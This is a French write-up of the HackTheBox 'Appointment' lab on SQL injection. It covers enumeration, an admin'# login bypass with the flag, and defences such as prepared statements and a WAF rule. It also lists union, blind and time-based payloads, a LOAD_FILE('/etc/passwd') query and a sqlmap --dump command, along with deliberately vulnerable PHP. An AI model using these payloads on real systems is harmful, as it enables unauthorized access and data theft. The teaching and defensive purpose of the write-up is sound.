Appointment - HackTheBox Starting Point
Informations générales
| Propriété | Valeur |
|---|---|
| Difficulté | ⭐ Très facile |
| OS | Linux |
| Catégorie | Starting Point - Tier 1 |
| Compétences | SQL Injection, Web Application Security, Authentication Bypass |
| Auteurs | 0ne-nine9, ilinor |
Vue d'ensemble
Appointment est un challenge orienté applications web qui introduit l'injection SQL (SQL Injection), l'une des vulnérabilités web les plus critiques selon le classement OWASP Top 10. Ce challenge enseigne :
- Les bases du protocole HTTP et des requêtes web
- Le fonctionnement de l'authentification basée sur SQL
- Les techniques d'énumération de répertoires web (Gobuster)
- L'exploitation d'injections SQL pour contourner l'authentification
- Les mécanismes de protection contre les injections SQL
Qu'est-ce que SQL et les bases de données ?
Définition
SQL (Structured Query Language) est un langage de programmation standardisé utilisé pour gérer et manipuler des bases de données relationnelles. Les applications web utilisent SQL pour :
- Stocker des informations utilisateurs (comptes, mots de passe)
- Gérer des contenus (articles, produits, commentaires)
- Traiter des données sensibles (PII, informations de paiement)
Architecture typique d'une application web
┌─────────────┐ ┌──────────────────┐
│ Client │ ──── Requêtes HTTP ──────────> │ Web Application │
│ (Browser) │ (GET/POST) │ (Apache/Nginx) │
│ │ <─── Réponses HTML ─────────── │ │
└─────────────┘ └────────┬─────────┘
│
│ SQL Queries
│
▼
┌──────────────────┐
│ SQL Database │
│ (MySQL/MariaDB) │
│ │
│ ┌────────────┐ │
│ │ users │ │
│ ├────────────┤ │
│ │ id | name │ │
│ │ 1 | admin │ │
│ │ 2 | user │ │
│ └────────────┘ │
└──────────────────┘
Hiérarchie des bases de données SQL
SQL Service (MySQL, PostgreSQL, MariaDB, etc.)
│
├── Database 1 (ex: "webapp")
│ │
│ ├── Table 1 (ex: "users")
│ │ ├── Columns: id, username, password, email
│ │ └── Rows: données des utilisateurs
│ │
│ ├── Table 2 (ex: "products")
│ │ ├── Columns: id, name, price, description
│ │ └── Rows: données des produits
│ │
│ └── Table 3 (ex: "orders")
│ ├── Columns: id, user_id, product_id, date
│ └── Rows: données des commandes
│
└── Database 2 (ex: "analytics")
└── Tables...
Qu'est-ce que l'injection SQL ?
Définition
L'injection SQL est une technique d'exploitation qui permet à un attaquant de manipuler les requêtes SQL exécutées par une application web en injectant du code SQL malveillant dans les champs d'entrée utilisateur.
Classification OWASP
Selon l'OWASP Top 10, l'injection SQL fait partie des vulnérabilités de type Injection (A03:2021), considérées comme extrêmement dangereuses car elles permettent :
- L'accès non autorisé aux données sensibles
- Le contournement de l'authentification
- La modification/suppression de données
- L'exécution de commandes système (dans certains cas)
Fonctionnement normal de l'authentification
Voici comment fonctionne typiquement un système d'authentification PHP/SQL :
<?php
// Connexion à la base de données
mysql_connect("localhost", "db_username", "db_password");
mysql_select_db("users");
// Récupération des entrées utilisateur
$username = $_POST['username']; // Ex: "admin"
$password = $_POST['password']; // Ex: "password123"
// Construction de la requête SQL (VULNÉRABLE)
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
// Exécution de la requête
$result = mysql_query($sql);
// Vérification du résultat
$count = mysql_num_rows($result);
if ($count == 1) {
// Si exactement 1 résultat trouvé : authentification réussie
$_SESSION['username'] = $username;
$_SESSION['password'] = $password;
header("location:home.php"); // Redirection vers la page d'accueil
} else {
// Authentification échouée
header("location:login.php");
}
?>
Requête SQL générée (légitime) :
SELECT * FROM users WHERE username='admin' AND password='password123'
Exploitation par injection SQL
Si le code ne valide pas les entrées utilisateur, un attaquant peut injecter du code SQL :
Entrée malveillante :
- Username:
admin'# - Password:
anything(peu importe)
Requête SQL générée (exploitée) :
SELECT * FROM users WHERE username='admin'#' AND password='anything'
Analyse :
': Ferme la chaîne de caractères pour le username#: Commentaire SQL (tout ce qui suit est ignoré)- Résultat : La vérification du mot de passe est complètement contournée
Requête originale :
SELECT * FROM users WHERE username='$username' AND password='$password'
Requête exploitée :
SELECT * FROM users WHERE username='admin'#' AND password='anything'
↑
Le reste est commenté !
Schéma de l'attaque
Processus normal :
┌────────┐ User Search ┌─────────────────┐
│ Client │ ──────────────────────────────> │ Web Application │
│ │ │ │
│ │ │ Permissions │
│ │ │ Check & Query │
│ │ │ Translation │
│ │ │ │
└────────┘ └────────┬────────┘
│
▼
┌─────────────────┐
│ SQL Service │
└─────────────────┘
Attaque par injection SQL :
┌──────────┐ SQL Injection ┌─────────────────┐
│ Attacker │ ─────────────────────────> │ Web Application │
│ │ │ │
│ │ │ (Pas de │
│ │ │ validation) │
│ │ │ │
└──────────┘ └────────┬────────┘
│ │
│ ▼
│ ┌─────────────────┐
│ │ SQL Service │
│ └────────┬────────┘
│ │
└──────── Unrestricted Querying ───────────┘
Données sensibles et PII
Qu'est-ce que le PII ?
PII (Personally Identifiable Information) désigne toute information permettant d'identifier un individu :
- Nom complet, adresse e-mail
- Numéro de téléphone, adresse physique
- Numéro de sécurité sociale, carte bancaire
- Adresse IP, données biométriques
Législation et sanctions
| Réglementation | Zone géographique | Amendes maximales |
|---|---|---|
| GDPR | Union Européenne | 20M€ ou 4% du CA annuel mondial |
| CCPA | Californie (USA) | $7,500 par violation |
| LGPD | Brésil | R$50M par infraction |
Pourquoi protéger les données ?
Les entreprises doivent protéger les données utilisateurs pour :
- Conformité légale : Éviter les amendes massives
- Réputation : Préserver la confiance des clients
- Sécurité des utilisateurs : Prévenir l'usurpation d'identité
- Éthique professionnelle : Respecter la vie privée
Phase 1 : Énumération
Scan Nmap initial
Commençons par scanner les ports ouverts avec Nmap :
sudo nmap -sC -sV <TARGET_IP>
Options expliquées :
-sC: Script scan avec les scripts par défaut (détection de vulnérabilités)-sV: Détection de version des services
Résultat attendu :
Starting Nmap 7.92 at 2021-07-08 14:19:03 BST
Nmap scan report for <TARGET_IP>
Host is up (0.056s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Login
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned in 12.34 seconds
Analyse des résultats
| Port | Service | Version | Signification |
|---|---|---|---|
| 80/tcp | HTTP | Apache httpd 2.4.38 | Serveur web Apache sur Debian |
| http-title | Login | - | Page de connexion détectée |
✅ Découverte : Un serveur web Apache 2.4.38 sur Debian expose une page de connexion sur le port 80.
Apache HTTP Server
Apache HTTP Server est un serveur web open-source extrêmement populaire :
- Usage : Hébergement de sites web et applications
- Ports standards : 80 (HTTP), 443 (HTTPS), 8080, 8000
- Part de marché : ~30% des sites web mondiaux
- Protocole : HTTP (Hypertext Transfer Protocol)
Phase 2 : Énumération web (Optionnel mais recommandé)
Accès à l'application web
Naviguons vers l'adresse IP cible dans notre navigateur :
http://<TARGET_IP>
Nous sommes confrontés à un formulaire de connexion avec :
- Champ Username
- Champ Password
- Bouton Login
Comprendre les répertoires web
Les répertoires web sont des dossiers sur le serveur contenant différentes ressources :
- Pages HTML (
/home,/about,/contact) - Formulaires (
/login,/register) - Ressources (
/images,/css,/js) - Panneaux d'administration (
/admin,/dashboard)
Codes de statut HTTP
Lorsque le navigateur (client HTTP) envoie une requête au serveur, ce dernier répond avec un code de statut :
| Code | Signification | Description |
|---|---|---|
| 200 OK | Succès | La ressource existe et est renvoyée |
| 302 Found | Redirection temporaire | La ressource a été déplacée temporairement |
| 404 Not Found | Non trouvé | La ressource n'existe pas à cette URL |
| 403 Forbidden | Interdit | Accès refusé (permissions insuffisantes) |
| 500 Internal Server Error | Erreur serveur | Problème côté serveur (bug, crash) |
Processus de navigation web
┌─────────────┐ ┌─────────────┐
│ Browser │ ── GET /contact ──────────────> │ Web Server │
│ (Client) │ │ (Apache) │
│ │ │ │
│ │ <─ HTTP/1.1 200 OK ─────────── │ │
│ │ Content: <html>...</html> │ │
└─────────────┘ └─────────────┘
┌─────────────┐ ┌─────────────┐
│ Browser │ ── GET /admin ─────────────────> │ Web Server │
│ │ │ │
│ │ <─ HTTP/1.1 404 Not Found ───── │ │
└─────────────┘ └─────────────┘
Brute-forcing de répertoires avec Gobuster
Gobuster est un outil de brute-force de répertoires écrit en Go (Golang). Il teste automatiquement des noms de répertoires/fichiers à partir d'une wordlist.
Installation de Gobuster
Méthode 1 : Via go install
go install github.com/OJ/gobuster/v3@latest
Méthode 2 : Via le gestionnaire de paquets
# Debian/Ubuntu
sudo apt install gobuster
# Arch Linux
sudo pacman -S gobuster
Méthode 3 : Compilation depuis les sources
git clone https://github.com/OJ/gobuster.git
cd gobuster
go get && go build
go install
Wordlists
Les wordlists sont des fichiers contenant des listes de noms courants de répertoires/fichiers.
Wordlists préinstallées (Parrot OS / Kali Linux) :
ls /usr/share/wordlists/
SecLists (collection populaire) :
git clone https://github.com/danielmiessler/SecLists.git
Utilisation de Gobuster
Syntaxe de base :
gobuster dir --url http://<TARGET_IP>/ --wordlist <WORDLIST_PATH>
Options principales :
dir: Mode énumération de répertoires/fichiers--url: URL cible--wordlist: Chemin vers la wordlist
Exemple concret :
gobuster dir --url http://<TARGET_IP>/ --wordlist /usr/share/wordlists/dirb/directory-list-2.3-small.txt
Résultat attendu :
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://<TARGET_IP>/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/07/08 14:19:03 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 311] [--> http://<TARGET_IP>/images/]
/css (Status: 301) [Size: 308] [--> http://<TARGET_IP>/css/]
/js (Status: 301) [Size: 307] [--> http://<TARGET_IP>/js/]
/vendor (Status: 301) [Size: 311] [--> http://<TARGET_IP>/vendor/]
/fonts (Status: 301) [Size: 310] [--> http://<TARGET_IP>/fonts/]
===============================================================
2021/07/08 14:27:18 Finished
===============================================================
Analyse des résultats Gobuster
Les répertoires découverts sont des répertoires standards pour un site web :
/images: Images du site/css: Feuilles de style (CSS)/js: Scripts JavaScript/vendor: Bibliothèques tierces/fonts: Polices de caractères
Conclusion : Aucun répertoire sensible ou exploitable trouvé. Continuons avec le formulaire de connexion.
Phase 3 : Tentatives d'authentification
Test de credentials par défaut
Essayons des combinaisons username/password courantes :
| Username | Password | Résultat |
|---|---|---|
admin | admin | ❌ Échec |
guest | guest | ❌ Échec |
user | user | ❌ Échec |
root | root | ❌ Échec |
administrator | password | ❌ Échec |
Conclusion : Aucun credential par défaut ne fonctionne.
Brute-force (déconseillé)
Nous pourrions utiliser des outils comme :
- Hydra : Brute-force de formulaires web
- Burp Suite Intruder : Fuzzing automatisé
- Medusa : Attaques par dictionnaire
Inconvénients du brute-force :
- ⏱️ Très long : Peut prendre des heures/jours
- 🚨 Très bruyant : Génère des milliers de requêtes (détectable par WAF/IDS)
- ⚠️ Risque de blocage : Comptes verrouillés, IP bannie
Phase 4 : Exploitation (SQL Injection)
Identification de la vulnérabilité
Le formulaire de connexion n'implémente aucune validation d'entrée, ce qui le rend vulnérable à l'injection SQL.
Construction du payload
Objectif : Contourner l'authentification en manipulant la requête SQL.
Payload utilisé :
Username: admin'#
Password: (n'importe quoi)
Analyse technique du payload
Code PHP vulnérable
$username = $_POST['username']; // "admin'#"
$password = $_POST['password']; // "abc123"
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
// Résultat : SELECT * FROM users WHERE username='admin'#' AND password='abc123'
Requête SQL finale
SELECT * FROM users WHERE username='admin'#' AND password='abc123'
Décomposition :
SELECT * FROM users WHERE username=': Début de la requêteadmin: Notre input (nom d'utilisateur)': Ferme la chaîne de caractères#: Début du commentaire SQL (tout ce qui suit est ignoré)' AND password='abc123': Commenté, donc ignoré
Requête effective exécutée :
SELECT * FROM users WHERE username='admin'
Représentation visuelle
Requête originale attendue :
┌──────────────────────────────────────────────────────────────┐
│ SELECT * FROM users WHERE username='admin' AND password='...'│
│ ↑ Input utilisateur ↑ │
└──────────────────────────────────────────────────────────────┘
Requête exploitée :
┌──────────────────────────────────────────────────────────────┐
│ SELECT * FROM users WHERE username='admin'#' AND password='.'│
│ ↑ ↑ │
│ Ferme Commentaire │
│ la quote tout le reste │
└──────────────────────────────────────────────────────────────┘
Requête réellement exécutée :
┌──────────────────────────────────────┐
│ SELECT * FROM users WHERE username='admin'
│ │
│ Pas de vérification de password ! │
└──────────────────────────────────────┘
Pourquoi ça fonctionne ?
- Pas de validation d'entrée : Les caractères spéciaux
'et#ne sont pas filtrés - Requête SQL dynamique : Les variables sont directement insérées dans la requête
- Logique de comptage : Le code vérifie
if ($count == 1)- si un seul résultat, login réussi - Compte admin existe : Il y a effectivement un utilisateur nommé
admindans la base
Exécution de l'attaque
Saisissons le payload dans le formulaire :
- Username :
admin'# - Password :
anything(peu importe, sera ignoré) - Cliquez sur Login
Résultat :
Congratulations!
Your flag is: e3d0796d002a446c0e622226f42e9672
🎉 Succès ! Nous avons contourné l'authentification et obtenu le flag.
Concepts clés appris
1. Injection SQL (SQL Injection)
- Définition : Exploitation permettant de manipuler des requêtes SQL
- Cause : Absence de validation/échappement des entrées utilisateur
- Impact : Contournement d'authentification, vol de données, modification de DB
- Classification OWASP : A03:2021 - Injection
2. Techniques de contournement d'authentification
| Payload | Explication | Usage |
|---|---|---|
admin'# | Commentaire SQL (MySQL) | Ignore le reste de la requête |
admin'-- | Commentaire SQL (MSSQL) | Idem (notez l'espace après --) |
' OR 1=1# | Condition toujours vraie | Authentification universelle |
admin' OR '1'='1 | Condition toujours vraie | Variante sans commentaire |
3. Anatomie d'une requête SQL
SELECT * FROM users WHERE username='INPUT1' AND password='INPUT2'
│ │ │ │ │ │ │
│ │ │ │ │ │ │
Commande │ Table Colonne Valeur 1 Opérateur Valeur 2
│
Sélecteur (toutes les colonnes)
4. Commentaires SQL selon le SGBD
| SGBD | Syntaxe de commentaire | Exemple |
|---|---|---|
| MySQL | # ou -- (avec espace) | admin'# ou admin'-- |
| PostgreSQL | -- (avec espace) | admin'-- |
| MSSQL | -- (avec espace) | admin'-- |
| Oracle | -- (avec espace) | admin'-- |
Commandes récapitulatives
# Scanner les ports avec détection de services
sudo nmap -sC -sV <TARGET_IP>
# Énumérer les répertoires web avec Gobuster
gobuster dir --url http://<TARGET_IP>/ --wordlist /usr/share/wordlists/dirb/directory-list-2.3-small.txt
# Accéder à l'application web
firefox http://<TARGET_IP>
# Payload d'injection SQL (dans le formulaire)
Username: admin'#
Password: anything
Protection contre les injections SQL
Ce qu'il NE faut PAS faire
❌ Concaténation directe de variables dans SQL
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
❌ Utilisation de mysql_ (obsolète et dangereux)*
mysql_query($sql); // Fonction dépréciée et vulnérable
❌ Validation côté client uniquement
// Validation JavaScript facilement contournable
if (username.length > 0) { submit(); }
Méthodes de protection
1. Requêtes préparées (Prepared Statements) ✅
PHP avec PDO :
<?php
$pdo = new PDO('mysql:host=localhost;dbname=users', 'username', 'password');
// Requête préparée avec placeholders
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
// Liaison des paramètres (automatiquement échappés)
$stmt->execute([
':username' => $_POST['username'],
':password' => $_POST['password']
]);
$user = $stmt->fetch();
if ($user) {
// Authentification réussie
$_SESSION['user_id'] = $user['id'];
header('Location: home.php');
} else {
// Authentification échouée
header('Location: login.php?error=1');
}
?>
Pourquoi c'est sécurisé :
- Les paramètres sont échappés automatiquement
- La structure de la requête SQL est fixe (pas de modification possible)
- Les caractères spéciaux (
',#,--) sont traités comme des données littérales
2. Procédures stockées (Stored Procedures)
Création de la procédure :
DELIMITER //
CREATE PROCEDURE AuthenticateUser(IN p_username VARCHAR(50), IN p_password VARCHAR(255))
BEGIN
SELECT * FROM users WHERE username = p_username AND password = p_password;
END //
DELIMITER ;
Appel depuis PHP :
$stmt = $pdo->prepare('CALL AuthenticateUser(:username, :password)');
$stmt->execute([
':username' => $_POST['username'],
':password' => $_POST['password']
]);
3. Validation et échappement des entrées
Whitelist de caractères autorisés :
// Autoriser uniquement alphanumériques et underscore
if (!preg_match('/^[a-zA-Z0-9_]+$/', $_POST['username'])) {
die('Invalid username format');
}
Échappement avec mysqli_real_escape_string :
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
// Toujours utiliser des requêtes préparées de préférence !
4. Principe du moindre privilège
Permissions de base de données restreintes :
-- Créer un utilisateur avec permissions limitées
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';
-- Accorder uniquement SELECT sur la table users
GRANT SELECT ON database.users TO 'webapp'@'localhost';
-- Refuser les commandes dangereuses
REVOKE ALL PRIVILEGES ON *.* FROM 'webapp'@'localhost';
Avantages :
- Même si injection SQL réussie, l'attaquant ne peut pas
DROP,DELETE,INSERT - Limitation des dégâts en cas de compromission
5. WAF (Web Application Firewall)
Solutions WAF populaires :
- ModSecurity : WAF open-source pour Apache/Nginx
- Cloudflare WAF : Protection cloud
- AWS WAF : Solution managée AWS
- Imperva : Solution enterprise
Exemple de règle ModSecurity :
# Bloquer les tentatives d'injection SQL courantes
SecRule ARGS "@rx (\"|'|#|--|;)" \
"id:1,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
6. Hachage sécurisé des mots de passe
JAMAIS stocker les mots de passe en clair !
PHP avec password_hash (bcrypt) :
// Lors de l'inscription
$hashed_password = password_hash($_POST['password'], PASSWORD_BCRYPT);
// Stocker $hashed_password dans la base de données
// Lors de la connexion
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute([':username' => $_POST['username']]);
$user = $stmt->fetch();
if ($user && password_verify($_POST['password'], $user['password'])) {
// Authentification réussie
$_SESSION['user_id'] = $user['id'];
}
7. Logging et monitoring
Détecter les tentatives d'attaque :
// Logger les tentatives d'injection SQL
if (preg_match('/(\"|\'|#|--|;|union|select|insert|drop)/i', $_POST['username'])) {
// Log de sécurité
error_log("SQL Injection attempt from IP: " . $_SERVER['REMOTE_ADDR'] .
" - Username: " . $_POST['username']);
// Bloquer l'utilisateur
die('Suspicious activity detected. Your IP has been logged.');
}
Checklist de sécurité
✅ Utiliser des requêtes préparées (PDO ou mysqli) ✅ Valider toutes les entrées utilisateur (whitelist) ✅ Échapper les caractères spéciaux si nécessaire ✅ Hacher les mots de passe avec bcrypt/argon2 ✅ Implémenter un WAF (ModSecurity, Cloudflare) ✅ Appliquer le principe du moindre privilège (permissions DB) ✅ Logger et monitorer les activités suspectes ✅ Mettre à jour régulièrement les frameworks et dépendances ✅ Tester régulièrement avec des scanners de vulnérabilités
Pour aller plus loin
Ressources recommandées
- OWASP SQL Injection Guide : Guide complet officiel
- HTB Academy - SQL Injection Fundamentals : Cours détaillé sur SQLi
- PortSwigger Web Security Academy : Labs interactifs
- SQLMap Documentation : Outil d'automatisation SQLi
- OWASP Top 10 : Liste des vulnérabilités web critiques
Outils d'exploitation SQL Injection
- sqlmap : Outil automatisé d'exploitation SQLi
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --dump - Burp Suite : Proxy d'interception et fuzzer
- OWASP ZAP : Scanner de sécurité web open-source
- jSQL Injection : Outil Java pour SQLi automatisé
Types avancés d'injection SQL
1. Union-based SQL Injection
Objectif : Extraire des données de tables non autorisées
-- Découvrir le nombre de colonnes
admin' UNION SELECT NULL#
admin' UNION SELECT NULL, NULL#
admin' UNION SELECT NULL, NULL, NULL#
-- Extraire des données
admin' UNION SELECT 1, username, password FROM users#
2. Blind SQL Injection (Boolean-based)
Objectif : Extraire des données bit par bit sans voir le résultat
-- Tester si la première lettre du password est 'a'
admin' AND SUBSTRING(password, 1, 1) = 'a'#
-- Si la page se comporte différemment, la condition est vraie
3. Time-based Blind SQL Injection
Objectif : Utiliser des délais pour confirmer les conditions
-- Si vrai, pause de 5 secondes
admin' AND IF(1=1, SLEEP(5), 0)#
-- Extraire des données caractère par caractère
admin' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)#
4. Out-of-band SQL Injection
Objectif : Exfiltrer des données via des canaux externes (DNS, HTTP)
-- MySQL avec LOAD_FILE et INTO OUTFILE
admin' UNION SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '/tmp/output.txt'#
Défis HackTheBox associés
Continuez votre apprentissage avec ces challenges :
- Sequel (Tier 1) : Exploitation de bases de données MySQL
- Crocodile (Tier 1) : Énumération web et FTP combinée
- SQLMAP (Intermediate) : Utilisation avancée de sqlmap
- Vaccine (Easy) : SQLi avec cookies et escalade de privilèges
Questions de révision
- Qu'est-ce qu'une injection SQL ?
- Pourquoi le payload
admin'#permet-il de contourner l'authentification ? - Quelle est la différence entre
#et--comme commentaire SQL ? - Qu'est-ce qu'une requête préparée (prepared statement) ?
- Pourquoi ne doit-on jamais stocker les mots de passe en clair ?
- Qu'est-ce que le principe du moindre privilège appliqué aux bases de données ?
- Quelle fonction PHP utilise-t-on pour hacher sécurisement un mot de passe ?
- Qu'est-ce qu'un WAF et comment protège-t-il contre les injections SQL ?
Félicitations ! Vous avez maîtrisé les bases de l'injection SQL et du contournement d'authentification. Cette vulnérabilité reste l'une des plus critiques et des plus exploitées dans les applications web modernes. 🎯
Write-up rédigé à des fins éducatives. Pratique autorisée uniquement sur des systèmes dont vous avez l'autorisation.